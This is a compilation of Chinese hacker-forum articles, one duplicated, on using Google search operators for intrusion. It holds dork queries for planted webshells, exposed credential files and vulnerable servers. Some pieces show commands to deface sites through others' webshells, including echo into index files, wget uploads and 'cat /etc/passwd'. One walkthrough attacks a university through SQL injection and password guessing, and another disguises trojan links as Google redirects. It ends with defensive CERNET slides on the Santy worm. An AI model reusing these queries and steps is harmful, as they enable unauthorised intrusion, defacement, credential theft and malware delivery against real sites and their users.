GoogleHacking是利用Google的搜索引擎快速查找存在脆弱性的主机以及包含敏感数据的信息，最近这种以前由黑客手动进行操作的攻击手段可以通过一种新的蠕虫病毒来自动完成。为了引起大家对GoogleHacking的关注与重视，我们编发了这篇文章希望大家通过对Hack的攻击手段的了解，更好的保护自己的信息安全。本文中重在对GoogleHacking攻击手段的理解，对一些攻击的细节不予详述请谅解。
前言：
2004年在拉斯维加斯举行的BlackHat大会上，有两位安全专家分别作了名为You found that on google ? 和google attacks 的主题演讲。经过安全焦点论坛原版主WLJ大哥翻译整理后，个人觉得有必要补充完善一些细节部分。今天向大家讲述的是Google的又一功能：利用搜索引擎快速查找存在脆弱性的主机以及包含敏感数据的信息，甚至可以直接进行傻瓜入侵。

用google来进行"渗透测试"
我们今天渗透测试人员在实施攻击之前，往往会先进行信息搜集工作，而后才是漏洞确认和最终的漏洞利用、扩大战果。在这里我们现在要谈的是：
一、利用google查找被人安装了php webshell后门的主机，并测试能否使用;
二、利用google查找暴露出来的INC敏感信息.
OK，现在我们开始：
1.查找利用php webshell
我们在google的搜索框中填入：
intitle:"php shell*" "Enable stderr" filetype:php

(注: intitle—网页标题 Enable stderr—UNIX标准输出和标准错误的缩写filetype—文件类型)。搜索结果中，你能找到很多直接在机器上执行命令的web shell来。如果找到的PHPSHELL不会利用,如果你不熟悉UNIX,可以直接看看LIST,这里就不详细说了,有很多利用价值。要说明的是,我们这里搜索出来的一些国外的PHPSHELL上都要使用UNIX命令,都是system调用出来的函数(其实用百度及其他搜索引擎都可以,只是填写搜索的内容不同)。通过我的检测,这个PHPWEBSHELL是可以直接Echo(Unix常用命令)。一句话就把首页搞定了:
echo "召唤" > index.jsp

在得到的
echo \

后再写上:"召唤"
现在看看首页,已经被我们改成: "召唤" 了
我们也可以用WGET上传一个文件上去(比如你要替换的叶子吧)。然后execute Command输入 cat file > index.html or echo "" > file
echo "test" >> file
这样一条条打出来,站点首页就成功被替换了。同样的也可以
uname -a;cat /etc/passwd

不过有点要注意,有些WEBSHELL程序有问题，执行不了的，比如:
http://www.al3toof.com/card/smal ... c_html&command=
http://ramsgaard.net/upload/shell.php
这些站的php是global register off
解决方案:
我们可以利用相关工具进行在互联网进行搜索，如果有信息被滥用，到http://www.google.com/remove.html 提交你希望删除的信息,
控制搜索引擎机器人的查询.
2.搜索INC敏感信息
我们在google的搜索框中填入:
.org filetype:inc

我们现在搜索的是org域名的站点的INC信息(因为google屏蔽掉了搜索"COM"信息,我们还可以搜其他gov,cn,info,tw,jp,edu等等之类的)
PS:我在看许多PHP编程人员在编程时候，都喜欢把一些常写的代码或配置信息，写在一个.inc的文件中，如shared.inc、global.inc、conn.inc等等，当然这是一个很好的习惯，包括PHP官方网站都是如此，但不知你有没有注意到这里面含一个安全隐患问题。
我有一次在写一个PHP代码时，无意中写错了一句话，当我在浏览器里查看此PHP文件时，竟然发现屏幕详细的显示了我所出错的PHP文件路径及代码行。(PHP错误显示配置是开着的.此功能在PHP里是默认的!)，这就是说当我们无意写错代码(同样.inc文件也一样) 或者PHP代码解析出问题时，而PHP错误显示又是开着的,客户端的用户就会看到具体url地址的.inc文件，而.url文件如同txt文本一样,当在浏览器中浏览时,就毫无保留地显示了它的内容，而且不少站点在.inc文件写了重要的信息如用户密码之类!包括国内著名海尔公司以及嘉铃摩托公司,我之所以敢公布是因为我本人测试过,http://www.haier.com/su ***/inc/conn.inc 暴出的数据库ID密码用客户端连不上去,网站关闭了1215,而且防火墙也过滤掉了。
好,INC的知识说完后,我们继续又搜索到了好多,找到一个暴露了MYSQL口令的
我们又可以用客户端登陆上去修改数据了.这里涉及到数据库的知识,我们不谈太多,关于"INC暴露敏感信息"就到这里结束吧
当然我们可以通过一些办法解决：
1,你可以专门对.inc文件进行配置，避免用户直接获取源文件。
2,当然比较好的方法是，加上并且改文件扩展名为.php（PHP可以解析的扩展名）,这样客户端就不会获取源文件了。
这里,我将FreeMind绘制的图片用文本表示了.
有关Google Hack的详细信息,帮助我们分析踩点
连接符:
+ - : . * |

操作符:
"foo1 foo2"
filetype:123
site:foo.com
intext:foo
intitle:footitle
allinurl:foo
密码相关
："index of"
htpasswd / passwd
filetype:xls username password email
"ws_ftp.log"
"config.php"
allinurl:admin mdb
service filetype:pwd (frontpage)
敏感信息：
"robots.tx"
"disallow:"
filetype:txt
inurl:_vti_cnf (frontpage files)
allinurl:/msadc/samples/selector/showcode.asp
allinurl:/examples/jsp/snp/snoop.jsp
allinurl:phpsysinfo
ipsec filetype:conf
intitle:"error occurred" odbc request where (select|insert)
"mydomain.com" nessus report
"report generated by"
结尾:
如果要拿ROOT权限就要具体问题具体分析了,不过有了SHELL权限就好提了,网上有很多根据WEBSHELL提升权限的文章大家可以参照一下.
通过google我们还可以搜索到很多有用的东西,不过是细节,要通过信息收集慢慢分析、扩大、进行入侵.
这些我就不具体分析了.给大家个思路，大家慢慢研究好了
到这里,这篇文章就要结束了,写这篇文章的目的是为了引起大家的关注与重视,了解新的HACK手段,了解新的防护方法,事物都有两面性,在当今Google盛行的时代,在充分利用google的同时.也应该看得更全面


利用google伪装你的木马地址
文章作者：一叶梦舟
信息来源：http://www.hackbase.com/
利用google伪装你的木马地址
By 一叶梦舟 本人QQ：15741535
伪装后效果：你的真实的木马地址将会http://www.google.com/search?hr=zh-CN&q%%%% 这种形式的url，在浏览器输入述地址后将会直接转到你真实的木马地址。
Btw：方法不怎么好，只是点想法，说出来交流交流。
今天在QQ个人主页那一栏想着个性一下，本人的blog地址比较长，呵呵，就是有点难看，所以就想着写个看起来比较牛的地址，呵呵（小孩子性格，别骂我），但是blog有个好处就是在GOOGLE里输入关键字后，是第一个出现的，呵呵，大家还记得GOOGLE有个手气不错那个功能吧，嘿嘿，就是这个，我们今天就利用这个伪装木马真实地址，原理就是当用户点击手气不错这个功能的时候，GOOGLE就会搜索关键字的出现第一个网络地址并将其自动转向。
我刚开始想的是，能不能直接看出来GOOGLE搜索并转向地址的url，结果经过尝试是不行的，浏览器栏目不显示，整个过程一直是http://www.google.com/intl/zh-CN/，而浏览器状态栏虽然显示了真实的url，可是是经过加密的，里面含有特殊字符，比如方框，再说你根本无法肉眼在那么短的时候记下那么长的url，所以我想到了监听工具呵呵，我用的是WinSock Expert ，监视GOOGLE所在的IE进程，然后输入关键字，比如hackbase，点击手气不错，OK，查看记录，结果出来了找到了，真实的url：
/search?hl=zh-CN&q=hackbase&btnI=%E6%89%8B%E6%B0%94%E4%B8%8D%E9%94%99&lr ，
即http://www.google.com/search?hl=zh-CN&q=hackbase&btnI=%E6%89%8B%E6%B0%94%E4%B8%8D%E9%94%99&lr ，大家可以测试一下，在浏览器里输入上述地址以后就直接到http://www.hackbase.com/了，看了一下，q=后面就是搜索的关键字，至于btni后面的，我估计是什么加密的什么东西，从输了个关键字，比如“电脑网络技术”呵呵，（我的blog啦），得出的地址是：
http://www.google.com/search?hl=zh-CN&q=%E7%94%B5%E8%84%91%E7%BD%91%E7%BB%9C%E6%8A%80%E6%9C%AF&btnI=%E6%89%8B%E6%B0%94%E4%B8%8D%E9%94%99&lr
说一下，输入汉字后google先经过unicode编码解码的，
%E7%94%B5%E8%84%91%E7%BD%91%E7%BB%9C%E6%8A%80%E6%9C%AF就是“电脑网络技术编码解码后的，比较一下，看见没，btni后面的东西一模一样的，都是
%E6%89%8B%E6%B0%94%E4%B8%8D%E9%94%99&lr呵呵，我很菜的，不知道这个是什么东西，希望知道的给我说一声哈，谢谢咯。我估计就是手气不错这个功能必须的吧，呵呵。
（这段跟文章主题没关系呵呵，只是点想法），于是我想着，我就把q后面的东西给改成后面的
%E6%89%8B%E6%B0%94%E4%B8%8D%E9%94%99&lr，得到一个url：
http://www.google.com/search?hl=zh-CN&q=%E6%89%8B%E6%B0%94%E4%B8%8D%E9%94%99&btnI=%E6%89%8B%E6%B0%94%E4%B8%8D%E9%94%99&lr ，在浏览器里打开，呵呵，等了半天什么都没有，网页无法显示，这不奇怪，早就料到了，可是奇怪的是，在你打开上述url后，你的IE在一段时间内就无法打开google了，连http://www.google.com/都不行，不信你试试，我感觉是google的什么过滤禁止功能，不清楚，希望知道的给我说一下谢咯。
接着文章主题，下来你要做的是，构造一个关键字，使得在google里输入你的关键字后会是第一出现的网站，这个嘛，申请一个空间存放木马，然后把站点进行优化，大家可以看看相关的google优化，我感觉也不是怎么难，比如把你站点首页的meta和文章标题title标签设置一个别人没有关键字的，比如mytestgoogle，然后在google上提交，这样速度快些，过些时间，在google里输入mytestgoogle就会发现第一就是你的站点了呵呵，然后伪造你的木马地址成：http://www.google.com/search?hl=zh-CN&q=你的关键字&btnI=%E6%89%8B%E6%B0%94%E4%B8%8D%E9%94%99&lr,在浏览器里输入上述地址后就直接转到你的木马地址了，因为大多数多google搜索还是很信任的，认为这样一个地址肯定只是一个google的搜索页面而已，呵呵。这样就有效的隐藏了你的木马地址。
就到这吧，呵呵，其实方法感觉不怎么好，有些问题想不通，写出来大家交流交流，大家别骂我。
我的blog：
http://www.google.com/search?hl=zh-CN&q=%E7%94%B5%E8%84%91%E7%BD%91%E7%BB%9C%E6%8A%80%E6%9C%AF&btnI=%E6%89%8B%E6%B0%94%E4%B8%8D%E9%94%99&lr ，刚建的几个QQ群，希望大家加入。QQ群①：4320980 群②：7393094
http://www.hackbase.com/ 黑基原创发表
没看清楚的朋友可以到http://www.blog.edu.cn/more.asp?name=shadan&id=190075 下载视频


利用Google作黑客攻击的原理和防范
GoogleHacking是利用Google的搜索引擎快速查找存在脆弱性的主机以及包含敏感数据的信息，最近这种以前由黑客手动进行操作的攻击手段可以通过一种新的蠕虫病毒来自动完成。为了引起大家对GoogleHacking的关注与重视，我们编发了这篇文章希望大家通过对Hack的攻击手段的了解，更好的保护自己的信息安全。本文中重在对GoogleHacking攻击手段的理解，对一些攻击的细节不予详述请谅解。

    前言：

    2004年在拉斯维加斯举行的BlackHat大会上，有两位安全专家分别作了名为You found that on google ? 和google attacks 的主题演讲。经过安全焦点论坛原版主WLJ大哥翻译整理后，个人觉得有必要补充完善一些细节部分。今天向大家讲述的是Google的又一功能：利用搜索引擎快速查找存在脆弱性的主机以及包含敏感数据的信息，甚至可以直接进行傻瓜入侵。

    用google来进行“渗透测试”

    我们今天渗透测试人员在实施攻击之前，往往会先进行信息搜集工作，而后才是漏洞确认和最终的漏洞利用、扩大战果。在这里我们现在要谈的是：

    一、利用google查找被人安装了php webshell后门的主机，并测试能否使用;

    二、利用google查找暴露出来的INC敏感信息.

    OK，现在我们开始：

    1.查找利用php webshell

    我们在google的搜索框中填入：

    Code:

    intitle:"php shell*" "Enable stderr" filetype:php

    (注: intitle—网页标题 Enable stderr—UNIX标准输出和标准错误的缩写filetype—文件类型)。搜索结果中，你能找到很多直接在机器上执行命令的web shell来。如果找到的PHPSHELL不会利用,如果你不熟悉UNIX,可以直接看看LIST,这里就不详细说了,有很多利用价值。要说明的是,我们这里搜索出来的一些国外的PHPSHELL上都要使用UNIX命令,都是system调用出来的函数(其实用百度及其他搜索引擎都可以,只是填写搜索的内容不同)。通过我的检测,这个PHPWEBSHELL是可以直接Echo(Unix常用命令)。一句话就把首页搞定了:

    Code:

    echo "召唤" > index.jsp

    在得到的

    Code:

    echo

    后再写上:"召唤"

    现在看看首页,已经被我们改成: "召唤" 了

    我们也可以用WGET上传一个文件上去(比如你要替换的叶子吧)。然后execute Command输入 cat file > index.html or echo "" > file

    echo "test" >> file

    这样一条条打出来,站点首页就成功被替换了。同样的也可以

    Code:

    uname -a;cat /etc/passwd

    不过有点要注意,有些WEBSHELL程序有问题，执行不了的，比如:

    http://www.al3toof.com/card/smal ... c_html&command=

    http://ramsgaard.net/upload/shell.php

    这些站的php是global register off

    解决方案:

    我们可以利用相关工具进行在互联网进行搜索，如果有信息被滥用，到http://www.google.com/remove.html 提交你希望删除的信息,

    控制搜索引擎机器人的查询.

    2.搜索INC敏感信息

    我们在google的搜索框中填入:

    Code:

    .org filetype:inc

    我们现在搜索的是org域名的站点的INC信息(因为google屏蔽掉了搜索"COM"信息,我们还可以搜其他gov,cn,info,tw,jp,edu等等之类的)

    PS:我在看许多PHP编程人员在编程时候，都喜欢把一些常写的代码或配置信息，写在一个.inc的文件中，如shared.inc、global.inc、conn.inc等等，当然这是一个很好的习惯，包括PHP官方网站都是如此，但不知你有没有注意到这里面含一个安全隐患问题。

    我有一次在写一个PHP代码时，无意中写错了一句话，当我在浏览器里查看此PHP文件时，竟然发现屏幕详细的显示了我所出错的PHP文件路径及代码行。(PHP错误显示配置是开着的.此功能在PHP里是默认的!)，这就是说当我们无意写错代码(同样.inc文件也一样) 或者PHP代码解析出问题时，而PHP错误显示又是开着的,客户端的用户就会看到具体url地址的.inc文件。

    而.url文件如同txt文本一样,当在浏览器中浏览时,就毫无保留地显示了它的内容，而且不少站点在.inc文件写了重要的信息如用户密码之类!包括国内著名海尔公司以及嘉铃摩托公司,我之所以敢公布是因为我本人测试过,http://www.haier.com/su ***/inc/conn.inc 暴出的数据库ID密码用客户端连不上去,网站关闭了1215,而且防火墙也过滤掉了。

    好,INC的知识说完后,我们继续又搜索到了好多,找到一个暴露了MYSQL口令的

    我们又可以用客户端登陆上去修改数据了.这里涉及到数据库的知识,我们不谈太多,关于"INC暴露敏感信息"就到这里结束吧

    当然我们可以通过一些办法解决：

    1,你可以专门对.inc文件进行配置，避免用户直接获取源文件。

    2,当然比较好的方法是，加上并且改文件扩展名为.php（PHP可以解析的扩展名）,这样客户端就不会获取源文件了。

    这里,我将FreeMind绘制的图片用文本表示了.

    有关Google Hack的详细信息,帮助我们分析踩点

    连接符:

    Code:

    + - : . * |

    操作符:

    Code:

    "foo1 foo2"

    filetype:123

    site:foo.com

    intext:foo

    intitle:footitle

    allinurl:foo

    密码相关

    Code:

    ：“index of”

    htpasswd / passwd

    filetype:xls username password email

    "ws_ftp.log"

    "config.php"

    allinurl:admin mdb

    service filetype:pwd (frontpage)

    敏感信息：

    Code:

    "robots.tx"

    "disallow:"

    filetype:txt

    inurl:_vti_cnf (frontpage files)

    allinurl:/msadc/samples/selector/showcode.asp

    allinurl:/examples/jsp/snp/snoop.jsp

    allinurl:phpsysinfo

    ipsec filetype:conf

    intitle:"error occurred" odbc request where (select|insert)

    "mydomain.com" nessus report

    "report generated by"

    结尾:

    如果要拿ROOT权限就要具体问题具体分析了,不过有了SHELL权限就好提了,网上有很多根据WEBSHELL提升权限的文章大家可以参照一下。

    通过google我们还可以搜索到很多有用的东西,不过是细节,要通过信息收集慢慢分析、扩大、进行入侵.

    这些我就不具体分析了.给大家个思路，大家慢慢研究好了。

    到这里,这篇文章就要结束了,写这篇文章的目的是为了引起大家的关注与重视,了解新的HACK手段,了解新的防护方法,事物都有两面性,在当今Google盛行的时代,在充分利用google的同时.也应该看得更全面


google hacking的实现以及应用
文章作者：sniper (sniperhk_at_163.com) http://www.4ngel.net/
本文仅做于技术讨论于研究,请勿用做其他用途.
PS:庆祝一下暂时摆脱应试教育的魔爪,向那些打着素质教育暗地里搞应试教育的学校竖起中指!
前言
google hacking其实并算不上什么新东西,在早几年我在一些国外站点上就看见过相关的介绍,但是由于当时并没有重视这种技术,认为最多就只是用来找找未改名的mdb或者别人留下的webshell什么的,并无太大实际用途.但是前段时间仔细啃了些资料才猛然发觉google hacking其实并非如此简单...
google hacking的简单实现
记得以前看见过一篇文章写的就是简单的通过用_blank>http://www.google.com/来搜索dvbbs6.mdb或conn.inc来获得一些站点的敏感信息.其实使用google中的一些语法可以提供给我们更多的信息(当然也提供给那些习惯攻击的人更多他们所想要的.),下面就来介绍一些常用的语法.
intext:
这个就是把网页中的正文内容中的某个字符做为搜索条件.例如在google里输入:intext:动网.将返回所有在网页正文部分包含"动网"的网页.allintext:使用方法和intext类似.
intitle:
和上面那个intext差不多,搜索网页标题中是否有我们所要找的字符.例如搜索:intitle:安全天使.将返回所有网页标题中包含"安全天使"的网页.同理allintitle:也同intitle类似.
cache:
搜索google里关于某些内容的缓存,有时候也许能找到一些好东西哦.
define:
搜索某个词语的定义,搜索:define:hacker,将返回关于hacker的定义.
filetype:
这个我要重点推荐一下,无论是撒网式攻击还是我们后面要说的对特定目标进行信息收集都需要用到这个.搜索指定类型的文件.例如输入:filetype:doc.将返回所有以doc结尾的文件URL.当然如果你找.bak、.mdb或.inc也是可以的,获得的信息也许会更丰富:)
info:
查找指定站点的一些基本信息.
inurl:
搜索我们指定的字符是否存在于URL中.例如输入:inurl:admin,将返回N个类似于这样的连接:_blank>http://www.xxx.com/xxx/admin,用来找管理员登陆的URL不错.allinurl也同inurl类似,可指定多个字符.
link:
例如搜索:inurl:_blank>http://www.4ngel.net/可以返回所有和_blank>http://www.4ngel.net/做了链接的URL.
site:
这个也很有用,例如:site:_blank>http://www.4ngel.net./将返回所有和4ngel.net这个站有关的URL.

对了还有一些操作符也是很有用的:
+ 把google可能忽略的字列如查询范围
- 把某个字忽略
~ 同意词
. 单一的通配符
* 通配符，可代表多个字母
"" 精确查询
下面开始说说实际应用(我个人还是比较习惯用google.com,以下内容均在google上搜索),对于一个居心叵测的攻击者来说,可能他最感兴趣的就是密码文件了.而google正因为其强大的搜索能力往往会把一些敏感信息透露给他们.用google搜索以下内容:
intitle:"index of" etc
intitle:"Index of" .sh_history
intitle:"Index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
"# -FrontPage-" inurl:service.pwd
有时候因为各种各样的原因一些重要的密码文件被毫无保护的暴露在网络上,如果被别有用心的人获得,那么危害是很大的.下面是我找到的一个FreeBSD系统的passwd文件(我已做过处理):
图一

同样可以用google来搜索一些具有漏洞的程序,例如ZeroBoard前段时间发现个文件代码泄露漏洞,我们可以用google来找网上使用这套程序的站点:
intext:ZeroBoard filetype:php
或者使用:
inurl:outlogin.php?_zb_path= site:.jp
来寻找我们所需要的页面.phpmyadmin是一套功能强大的数据库操作软件,一些站点由于配置失误,导致我们可以不使用密码直接对phpmyadmin进行操作.我们可以用google搜索存在这样漏洞的程序URL:
intitle:phpmyadmin intext:Create new database
图二

还记得_vti_bin/..%5C..%5C..%5C..%5C..%5C../winnt/system32/cmd.exe?dir" target=_blank>http://www.xxx.com/_vti_bin/..\..\..\..\..\../winnt/system32/cmd.exe?dir吗?用google找找，你也许还可以找到很多古董级的机器。同样我们可以用这个找找有其他cgi漏洞的页面。
allinurl：winnt system32
图三

前面我们已经简单的说过可以用google来搜索数据库文件,用上一些语法来精确查找能够获得更多东西(access的数据库,mssql、mysql的连接文件等等).举个例子示例一下:
allinurl:bbs data
filetype:mdb inurl:database
filetype:inc conn
inurl:data filetype:mdb
intitle:"index of" data //在一些配置不正确的apache+win32的服务器上经常出现这种情况
和上面的原理一样,我们还可以用google来找后台,方法就略了,举一反三即可,毕竟我写这篇文章的目的是让大家了解google hacking,而不是让你用google去破坏.安全是把双刃剑,关键在于你如何去运用.
google hacking的实现以及应用(下)
本文作者:sniper
文章出于:_blank>http://www.4ngel.net/
日 期 : 05/01/26
本文仅做于技术讨论于研究,请勿用做其他用途.
本文的上半部分可在4ngel.net找到.
利用google完全是可以对一个站点进行信息收集和渗透的，下面我们用google对特定站点进行一次测试。_blank>http://www.xxxx.com/是全国著名大学之一，一次偶然的机会我决定对其站点进行一次测试(文中所涉及该学校的信息均已经过处理，请勿对号入座:).
首先用google先看这个站点的一些基本情况(一些细节部分就略去了):
site:xxxx.com
从返回的信息中，找到几个该校的几个系院的域名：
_blank>http://a1.xxxx.com/
_blank>http://a2.xxxx.com/
_blank>http://a3.xxxx.com/
_blank>http://a4.xxxx.com/
顺便ping了一下，应该是在不同的服务器.(想想我们学校就那一台可怜的web服务器，大学就是有钱，汗一个)。学校一般都会有不少好的资料，先看看有什么好东西没:
site:xxxx.com filetype:doc
得到N个不错的doc。先找找网站的管理后台地址：
site:xxxx.com intext:管理
site:xxxx.com inurl:login
site:xxxx.com intitle:管理
超过获得2个管理后台地址：
_login.asp" target=_blank>http://a2.xxxx.com/sys/admin_login.asp
_admin/login_in.asp" target=_blank>http://a3.xxxx.com:88/_admin/login_in.asp
还算不错，看看服务器上跑的是什么程序：
site:a2.xxxx.com filetype:asp
site:a2.xxxx.com filetype:php
site:a2.xxxx.com filetype:aspx
site:a3.xxxx.com filetype:asp
site:.......
......
a2服务器用的应该是IIS，上面用的是asp的整站程序，还有一个php的论坛
a3服务器也是IIS，aspx+asp。web程序都应该是自己开发的。有论坛那就看看能不能遇见什么公共的FTP帐号什么的：
site:a2.xxxx.com intext:ftp://*:*
没找到什么有价值的东西。再看看有没有上传一类的漏洞：
site:a2.xxxx.com inurl:file
site:a3.xxxx.com inurl:load
在a2上发现一个上传文件的页面：
_blank>http://a2.xxxx.com/sys/uploadfile.asp
用IE看了一下，没权限访问。试试注射，
site:a2.xxxx.com filetype:asp
得到N个asp页面的地址，体力活就让软件做吧，这套程序明显没有对注射做什么防范，dbowner权限，虽然不高但已足矣，back a shell我不太喜欢，而且看起来数据库的个头就不小，直接把web管理员的密码暴出来再说，MD5加密过。一般学校的站点的密码都比较有规律，通常都是域名+电话一类的变形，用google搞定吧。
site:xxxx.com //得到N个二级域名
site:xxxx.com intext:*@xxxx.com //得到N个邮件地址，还有邮箱的主人的名字什么的
site:xxxx.com intext:电话 //N个电话
把什么的信息做个字典吧，挂上慢慢跑。过了一段时间就跑出4个帐号，2个是学生会的，1个管理员，还有一个可能是老师的帐号。登陆上去：
name：网站管理员
pass：a2xxxx7619 //说了吧，就是域名+4个数字
要再怎么提权那就不属于本文讨论访问了，呵呵，到此为止。
关于google hacking的防范：
以前我们站的晓风·残月写过一篇躲避google的文章，原理就是通过在站点根目录下建立一个robots.txt以避免网络机器人获得一些敏感的信息，具体大家看原文章：_blank>http://www.4ngel.net/article/26.htm。
不过这种方法我个人不推荐，有点此地无银三百两的味道。简单一点的方法就是上google把自己站点的一些信息删除掉，访问这个URL：
_blank>http://www.google.com/remove.html
前几天看见又有人讨论用程序来欺骗robot的方法，我觉得可以试试：
代码如下：
<?php
if (strstr($_SERVER['HTTP_USER_AGENT'], "Googlebot"))
{
header("HTTP/1.1 301");
header("Location: _blank>http://www.google.com/");
}
?>
asp的：
<%
if instr(Request.Servervariables("HTTP_USER_AGENT"),"Googlebot") then
response.redirect("_blank>http://www.google.com/")
end if
%>

后记
这段时间在国外的一些google hack的研究站点看了看，其实也都差不多是一些基本语法的灵活运用，或者配合某个脚本漏洞，主要还是靠个人的灵活思维。国外对于google hack方面的防范也并不是很多，所以大家还是点到为止，不要去搞破坏拉，呵呵。对于一些在win上跑
apache的网管们应该多注意一下这方面，一个intitle:index of就差不多都出来了:)


Google Hacking与智能蠕虫防治
文章作者：zhenghui@ccert.edu.cn
CERNET Computer Emergency Response Team
zhenghui@ccert.edu.cn
主要内容
Google Hacking的工作原理的工作原理
智能蠕虫的传播机制
防范措施
讨论
Google Hacking的含义
原指：
- 利用Google Google搜索引擎搜索信息来进行_blank>入侵的_blank>技术和行为；
现指：
- 利用各种搜索引擎搜索信息来进行_blank>入侵的_blank>技术和行为；
Google的历史
Google（http://www.google.com/）是一个搜索引擎。
由两个斯坦福大学博士生Larry Page与Sergey Brin于1998年9月发明。
Google Inc. 于1999年创立。
2000年7月份，Google 替代Inktomi 成为成为Yahoo公司的搜索引擎，同年9月份，Google成为中国网易公司的搜索引擎。
98年至今，Google已经获得30多项业界大奖。
http://www.Google.com/press/index.html
Google能搜到什么
Google支持多达132种语言，包括简体中文和繁体中文；
Google检索网页数量达30亿；
Google的专利网页级别_blank>技术PageRank能够提供准确率极高的搜索结果；
Google具有独到的图片搜索功能；
Google具有强大的_blank>新闻组搜索功能；
Google具有二进制文件搜索功能（ PDF，DOC，SWF等）；
Google的"网页快照"功能，能从Google _blank>服务器里直接取出缓存的网页。
Google 搜索基本指令
+ ：强制包含检索项：
- ：排除某检索项：
" ：组合多个检索词作为一个检索项：
. ：匹配任意字符：
* ：匹配任意检索词：
| ：或：
() ：分割各检索项：
Google 搜索高级指令
filetype
inurl, allinurl
site
intitle, allintitle
intext, allintext
numrange, daterange
基于Google 的信息搜集_blank>技术
针对站点
针对_blank>服务器
针对目录
针对缺省配置
- Web页面：Apache, Netscape ，IIS
- 文档
针对错误信息
针对登陆页面
针对口令信息
针对管理页面
Web_blank>服务器指纹
--根据测试页信息判断_blank>服务器版本
allintitle:Netscape FastTrack Server Home Page - Unknown Netscape server
allintitle:Netscape Enterprise Server Home Page - Many Netscape servers
allintitle:Welcome to Windows XP" target=_blank>XP Server Internet Services - IIS 6.0
allintitle:Welcome to Windows 2000 Internet Services - IIS 5.0
allintitle:Welcome to Internet Information Server - IIS 4.0
intitle:welcome.to.IIS.4.0 - IIS 4.0
itle:"Under construction" "does not currently have" - Unknown IIS server
intitle:welcome.to intitle:internet IIS - Many IIS servers
Intitle:Simple.page.for.Apache Apache.Hook.Functions - Apache SSL/TLS SSL/TLS
Intitle:Simple.page.for.Apache Apache.Hook.Functions - Apache 2.0
Intitle:Test.Page.for.Apache seeing.this.instead - Apache 1.3.11 1.3.26
Intitle:Test.Page.for.Apache It.worked this.web.site - Apache 1.3.0 -1.3.9
常规Google Hacking _blank>技术
目标：搜索_blank>漏洞主机
功能：CGI 扫描
功能：端口扫描
功能：翻译（ Translate Translate）
功能：缓存（Cache Cache）
高级Google Hacking _blank>技术
搜集安全_blank>工具结果：
- Locating Nessus Scans
- Locating ISS Scans
- IDS Data: ACID
搜集已有_blank>攻击结果
- 后门
- 远程控制
搜集敏感信息
- SSH Host Keys
- PGP Private Keys
- Credit card
Google Hacking 的特点
快速：
- 搜索引擎预先准备了大量处理好的信息以供检索；
准确：
- 搜索引擎做了关联性、重要性等各种过滤处理措施；
隐蔽：
- 搜索、查询都是通过搜索引擎的_blank>数据库进行；
智能：
- 搜索引擎自身的智能特性；
缓存：
- 保留了已经实际不存在的敏感信息；
GHDB & googledork
Google Hacking Database
- 查询条件集合查询条件集合
Googledork （肉鸡？） : An inept or foolish person as revealed by Google.

查询条件分类（14 ）
Advisories and Vulnerabilities 公告和_blank>漏洞
Error Messages 错误信息
Files containing juicy info 有价值的文件
Files containing passwords 口令文件
Files containing usernames 用户名文件
Footholds 演示页面
Pages containing login portals 登录页面
Pages containing network or vulnerability data 安全相关文件
Sensitive Directories 敏感目录
Sensitive Online Shopping Info 在线商业信息
Various Online Devices 在线设备
Vulnerable Files 有_blank>漏洞的文件
Vulnerable Servers 有_blank>漏洞主机
Web Server Detection 网站_blank>服务器检测
最常用的10 个查询条件
index.of.password
"access denied for user" "using password"
"http://*:*@www" " domainname
auth_blank>_user_blank>_file.txt
The Master List
allinurl: admin mdb
passlist.txt (a better way)
"A syntax error has occurred" filetype:ihtml
"# -FrontPage-" inurl:service.pwd
ORA-00921: unexpected end of SQL command
最新的10 个查询条件
filetype:blt "buddylist "
intitle:"index of" inurl:ftp (pub | incoming)
filetype:cnf inurl:_blank>_vti_blank>_pvt access.cnf
allinurl:"/*/_blank>_vti_blank>_pvt/" | /" | allinurl:"/*/_blank>_vti_blank>_cnf/"
inurl:"install/install.php"
intitle:"welcome.to.squeezebox"
intext:""BiTBOARD v2.0" BiTSHiFTERS Bulletin Board"
intitle:Login intext:"RT is ? Copyright"
ext:php program_blank>_listing
intitle:MythWeb.Program.Listing
intitle:index.of abyss.conf

Google Hacking Tools
Gooscan
SiteDigger
Athena
Apollo **
Apollo
基于Apollo 的Google Hacking 测试
"仅处理前10个结果"
_blank>密码查询
- 查询条件："filetype:xls site:cn _blank>密码"
- 得到_blank>密码近120个；
_blank>数据库下载
- 查询条件： "filetype:mdb site:cn inurl:adm"
- 下载_blank>数据库5个，得到_blank>密码12 个；
关键信息
- 查询条件："filetype:inc site:cn conn "
- 根据inc 文件下载_blank>数据库3个；
Google Hacking 流程的自动化
Santy 蠕虫
描述：
- 2004 12月21 日发现，截止到12 月22日，google 可以统计到被santy 蠕虫破坏的网站已经达到26000多；
- 利用论坛系统phpBB的漏洞传播；
智能特性：
- 从搜索引擎google得到攻击站点列表；
存在形式：
- 脚本代码；
Santy 蠕虫工作流程
（附图：Santy 蠕虫工作流程.bmp）

攻击目标列表构造
构造查询请求
- 随机字符插入
- @ts = qw/t p topic/, $ts[int(rand(@ts))], int(rand(30000));
- _qdr=all&q=allinurl%3A+%22viewtopic.php%22+%22topic%3D1234%22&btnG=Search">http://www.google.com/search?num=100&hl=en&lr=&as_qdr=all&q=allinurl%3A+%22viewtopic.php%22+%22topic%3D1234%22&btnG=Search
返回结果处理
- 仅保留IP地址或URL
生成攻击目标列表
Santy.B 蠕虫
AOL
- 错误：
http://search.aol.com/aolcom/search?q=viewtopic.php%3Ft%3D1234&Stage=0&page=2
- 正确：
http://search.aol.com/aolcom/search?query=viewtopic.php%3Ft%3D1234&Stage=0&page=2
Yahoo:
- http://cade.search.yahoo.com/search?p=viewtopic.php%3Ft%3D1234&ei=UTF-8&fl=0&all=1&pstart=1&b=2

Google 封锁Santy 蠕虫的技术分析
如果请求字符串同时满足如下条件：
- 含有高级检索命令"inurl:"；
- 检索项中含有".php"；
- 检索请求含有其它请求参数如"num"或"start "等；
则判断为是蠕虫发出的请求，给出提示并中断连接；

搜索引擎针对 MyDoom.O的屏蔽方法
Google：整个请求字符串的完全匹配：
- http://www.google.com/search?hl=en&ie=UTF-8&oe=UTF-8&q=%s
Altavista：整个请求字符串的完全匹配：
- http://www.altavista.com/web/results?q=%s&kgs=0&kls=0
Yahoo：已经去掉屏蔽：
- http://search.yahoo.com/search?p=%s&ei=UTF-8&fr=fp-tab-web-t&cop=mss&tab=Lycos：整个请求字符串的完全匹配：
